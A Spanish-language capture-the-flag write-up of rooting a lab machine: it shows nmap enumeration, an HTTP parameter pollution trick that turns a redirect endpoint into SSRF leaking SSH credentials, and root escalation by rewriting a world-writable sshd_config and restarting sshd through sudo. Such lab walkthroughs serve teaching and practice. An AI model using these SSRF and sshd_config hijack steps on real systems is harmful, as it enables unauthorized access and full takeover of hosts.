Enumeración de servicios
El objetivo expone SSH y una aplicación HTTP escrita en Go. El resultado del script http-open-proxy también apunta a que el servicio puede efectuar redirecciones o solicitudes en nombre del cliente:
❯ nmap -sCV -p 22,8080 -oN 02-targeted.txt 192.168.1.8
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9 (protocol 2.0)
8080/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-open-proxy: Proxy might be redirecting requests
| Welcome to our Public Server. Maybe Internal.
...Rutas internas de la aplicación
robots.txt revela /redirect y /credz. La segunda ruta rechaza las peticiones externas, lo que indica que su control de acceso depende del origen de la solicitud:
❯ cat robots.txt
/redirect
/credz
❯ curl http://192.168.1.8:8080/credz
Only accessible internally.HTTP Parameter Pollution y SSRF
/redirect recibe el destino mediante url. Al enviar dos valores para el mismo parámetro provocamos una HTTP Parameter Pollution: distintas partes de la aplicación pueden validar y consumir ocurrencias diferentes. En este caso, la combinación hace que el servidor solicite /credz desde su propio contexto, convirtiendo el redirector en una SSRF que sortea la restricción por origen:
❯ curl http://192.168.1.8:8080/redirect
Parameter 'url' needed.
❯ curl 'http://192.168.1.8:8080/redirect?url=/credz'
Only accessible internally.
❯ curl 'http://192.168.1.8:8080/redirect?url=/credz&url=/credz'
ssh/EazyLOLLa respuesta interna expone el par ssh/EazyLOL. El primer valor es el usuario, aunque el prompt posterior muestre jan como hostname. Con esas credenciales entramos por SSH en el sistema Alpine y obtenemos acceso a la cuenta sin privilegios:
❯ ssh ssh@192.168.1.8
ssh@192.168.1.8's password: EazyLOL
Welcome to Alpine!
...
jan:~$Escalada mediante una configuración de SSH escribible
sudo -l permite reiniciar sshd como root sin contraseña:
jan:~$ sudo -l
...
User ssh may run the following commands on jan:
(root) NOPASSWD: /sbin/service sshd restartEl permiso aislado para reiniciar el servicio no permite escalar, pero /etc/ssh/sshd_config es escribible por cualquier usuario. La combinación forma un Sudo-Allowed Program Abuse: redirigimos la autenticación de root a un authorized_keys bajo nuestro control, desactivamos la comprobación estricta de permisos y luego aplicamos la configuración mediante el reinicio autorizado:
jan:~$ ls -l /etc/ssh/sshd_config
-rw-rw-rw- 1 root root 3355 Jan 28 09:01 /etc/ssh/sshd_config
jan:~$ echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
jan:/tmp$ echo "AuthorizedKeysFile /tmp/authorized_keys" >> /etc/ssh/sshd_config
jan:~$ echo 'PubkeyAuthentication yes' >> /etc/ssh/sshd_config
jan:~$ echo 'StrictModes no' >> /etc/ssh/sshd_configColocamos nuestra clave pública en /tmp/authorized_keys, reiniciamos el servicio y usamos la clave privada correspondiente para autenticarnos como root:
jan:/tmp$ sudo /sbin/service sshd restart
❯ ssh root@192.168.1.8 -i id_rsa
Enter passphrase for key '/home/wh01s17/.ssh/id_rsa':
Welcome to Alpine!
...
jan:~# whoami
rootLa salida existente de whoami confirma que la nueva sesión pertenece a root. Con este acceso damos por completada la máquina.